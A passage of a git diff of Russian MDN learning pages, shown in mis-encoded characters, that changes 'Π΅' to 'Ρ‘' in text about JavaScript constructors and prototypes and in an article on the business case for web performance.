- <p>Π₯ΠΈΡ‚Ρ€Ρ‹ΠΉ Ρ‚Ρ€ΡŽΠΊ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки Π² ΠΊΠΎΠ½Π΅Ρ† свойства <code>constructor</code> (содСрТащиС Π»ΡŽΠ±Ρ‹Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹) для создания Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ экзСмпляра ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠ· этого конструктора. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ - это функция Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ², поэтому Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок; Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΒ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>new</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² качСствС конструктора.</p>
+ <p>Π₯ΠΈΡ‚Ρ€Ρ‹ΠΉ Ρ‚Ρ€ΡŽΠΊ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки Π² ΠΊΠΎΠ½Π΅Ρ† свойства <code>constructor</code> (содСрТащиС Π»ΡŽΠ±Ρ‹Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹) для создания Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ экзСмпляра ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠ· этого конструктора. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ - это функция Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ², поэтому Π΅Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок; Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΒ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>new</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² качСствС конструктора.</p>
</li>
<li>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ это Π² консоли:
<pre class="brush: js">var person3 = new person1.constructor('Karen', 'Stephenson', 26, 'female', ['playing drums', 'mountain climbing']);</pre>
@@ -211,9 +211,9 @@ person3.bio()</pre>
</li>
</ol>
-<p>Π”ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΠΎΡΠ²ΠΈΡ‚ΡŒΡΡ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ, с ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π² конструкторС. Π­Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Π½ΠΎ Π΅Ρ‰Ρ‘Β Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ вся Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° наслСдования обновляСтся динамичСски, автоматичСски дСлая этот Π½ΠΎΠ²Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ доступным для всСх экзСмпляров ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… ΠΈΠ· конструктора.</p>
+<p>Π”ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΠΎΡΠ²ΠΈΡ‚ΡŒΡΡ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ, с ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π² конструкторС. Π­Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Π½ΠΎ Π΅Ρ‰Ρ‘Β Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ вся Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° наслСдования обновляСтся динамичСски, автоматичСски дСлая этот Π½ΠΎΠ²Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ доступным для всСх экзСмпляров ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… ΠΈΠ· конструктора.</p>
-<p>ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎΠ± этом Π½Π° ΠΌΠ³Π½ΠΎΠ²Π΅Π½ΠΈΠ΅. Π’ нашСм ΠΊΠΎΠ΄Π΅ ΠΌΡ‹ опрСдСляСм конструктор, Π·Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаСм экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠ· конструктора, <em>Π·Π°Ρ‚Π΅ΠΌ</em> добавляСм Π½ΠΎΠ²Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΊ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡƒ конструктора:</p>
+<p>ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎΠ± этом Π½Π° ΠΌΠ³Π½ΠΎΠ²Π΅Π½ΠΈΠ΅. Π’ нашСм ΠΊΠΎΠ΄Π΅ ΠΌΡ‹ опрСдСляСм конструктор, Π·Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаём экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠ· конструктора, <em>Π·Π°Ρ‚Π΅ΠΌ</em> добавляСм Π½ΠΎΠ²Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΊ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡƒ конструктора:</p>
<pre class="brush: js">function Person(first, last, age, gender, interests) {
@@ -227,13 +227,13 @@ Person.prototype.farewell = function() {
alert(this.name.first + ' has left the building. Bye for now!');
};</pre>
-<p>Но ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>farewell()</code> <em>ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ</em> доступСн Π² экзСмплярС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>person1</code> - Π΅Π³ΠΎ элСмСнты Π±Ρ‹Π»ΠΈ автоматичСски ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π½Π΅Π΄Π°Π²Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>farewell()</code>.</p>
+<p>Но ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>farewell()</code> <em>ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ</em> доступСн Π² экзСмплярС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>person1</code> - Π΅Π³ΠΎ элСмСнты Π±Ρ‹Π»ΠΈ автоматичСски ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π½Π΅Π΄Π°Π²Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>farewell()</code>.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ΠΌ этого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° для Ρ€Π°Π±ΠΎΡ‚Ρ‹, посмотритС Π½Π° наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-prototype.html">oojs-class-prototype.html</a> (см. Ρ‚Π°ΠΊΠΆΠ΅ это <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-prototype.html">running live</a>).</p>
</div>
-<p>Π’Ρ‹ Ρ€Π΅Π΄ΠΊΠΎ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² свойствС <code>prototype</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Π³ΠΈΠ±ΠΊΠΈ ΠΏΡ€ΠΈ Ρ‚Π°ΠΊΠΎΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π’Ρ‹ Ρ€Π΅Π΄ΠΊΠΎ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² свойствС <code>prototype</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Π³ΠΈΠ±ΠΊΠΈ ΠΏΡ€ΠΈ Ρ‚Π°ΠΊΠΎΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: js">Person.prototype.fullName = 'Bob Smith';</pre>
@@ -241,9 +241,9 @@ Person.prototype.farewell = function() {
<pre class="brush: js">Person.prototype.fullName = this.name.first + ' ' + this.name.last;</pre>
-<p>Однако это Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² этом случаС <code>this</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡΒ Π½Π° Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, Π° Π½Π΅ Π½Π° ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’Ρ‹Π·ΠΎΠ² этого свойства Π²Π΅Ρ€Π½Π΅Ρ‚ <code>undefined undefined</code>. Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ с ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ€Π°Π½Π΅Π΅ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ находится Π²Π½ΡƒΡ‚Ρ€ΠΈ области Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, которая Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ пСрСнСсСна Π² ΠΎΠ±Π»Π°ΡΡ‚ΡŒ экзСмпляра ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ постоянныС свойства ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° (Ρ‚. Π΅. Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ), Π½ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ свойства Π²Π½ΡƒΡ‚Ρ€ΠΈ конструктора.</p>
+<p>Однако это Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² этом случаС <code>this</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡΒ Π½Π° Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, Π° Π½Π΅ Π½Π° ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’Ρ‹Π·ΠΎΠ² этого свойства Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>undefined undefined</code>. Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ с ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ€Π°Π½Π΅Π΅ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ находится Π²Π½ΡƒΡ‚Ρ€ΠΈ области Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, которая Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ пСрСнСсСна Π² ΠΎΠ±Π»Π°ΡΡ‚ΡŒ экзСмпляра ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ постоянныС свойства ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° (Ρ‚. Π΅. Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ), Π½ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ свойства Π²Π½ΡƒΡ‚Ρ€ΠΈ конструктора.</p>
-<p>ЀактичСски, довольно распространСнный шаблон для большСго количСства ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² - это ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ свойств Π²Π½ΡƒΡ‚Ρ€ΠΈ конструктора ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅. Π­Ρ‚ΠΎ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ конструктор содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ опрСдСлСния свойств, Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ. НапримСр:</p>
+<p>ЀактичСски, довольно распространённый шаблон для большСго количСства ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² - это ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ свойств Π²Π½ΡƒΡ‚Ρ€ΠΈ конструктора ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅. Π­Ρ‚ΠΎ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ конструктор содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ опрСдСлСния свойств, Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ. НапримСр:</p>
<pre class="brush: js">// ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ конструктора ΠΈ Π΅Π³ΠΎ свойств
diff --git a/files/ru/learn/performance/business_case_for_performance/index.html b/files/ru/learn/performance/business_case_for_performance/index.html
index 15c3dd82fc..985c2151f9 100644
--- a/files/ru/learn/performance/business_case_for_performance/index.html
+++ b/files/ru/learn/performance/business_case_for_performance/index.html
@@ -28,14 +28,14 @@ translation_of: Learn/Performance/business_case_for_performance
<h2 id="Π”Π΅Π»Π°ΠΉΡ‚Π΅_ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ_ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ΠΎΠΌ">Π”Π΅Π»Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ΠΎΠΌ</h2>
-<p>ΠœΡ‹ ΡƒΠΆΠ΅ обсудили, ΠΊΠ°ΠΊ приоритизация ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΎΠΏΡ‹Ρ‚ ΠΈ Π΄ΠΎΡ…ΠΎΠ΄ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΠΏΠΎΡ‚Π΅Ρ€ΠΈ доходности. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, ΠΊΠ°ΠΊΠΈΠ΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ бизнСс-ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ связаны с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉΒ  ΠΈ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ сСрвисноС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΎΠΏΡ‹Ρ‚Π°. Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅ подчСркиваСтся Π²Π°ΠΆΠ½ΠΎΡΡ‚ΡŒ понимания, ΠΊΠ°ΠΊ сумма всСх Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠΉ влияСт Π½Π° ΠΊΠΎΠ½Π²Π΅Ρ€ΡΠΈΡŽ ΠΈ ΡƒΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ².</p>
+<p>ΠœΡ‹ ΡƒΠΆΠ΅ обсудили, ΠΊΠ°ΠΊ приоритизация ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΎΠΏΡ‹Ρ‚ ΠΈ Π΄ΠΎΡ…ΠΎΠ΄ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΠΏΠΎΡ‚Π΅Ρ€ΠΈ доходности. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, ΠΊΠ°ΠΊΠΈΠ΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ бизнСс-ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ связаны с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉΒ  ΠΈ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ сСрвисноС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΎΠΏΡ‹Ρ‚Π°. Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅ подчёркиваСтся Π²Π°ΠΆΠ½ΠΎΡΡ‚ΡŒ понимания, ΠΊΠ°ΠΊ сумма всСх Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠΉ влияСт Π½Π° ΠΊΠΎΠ½Π²Π΅Ρ€ΡΠΈΡŽ ΠΈ ΡƒΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ².</p>
<dl>
</dl>
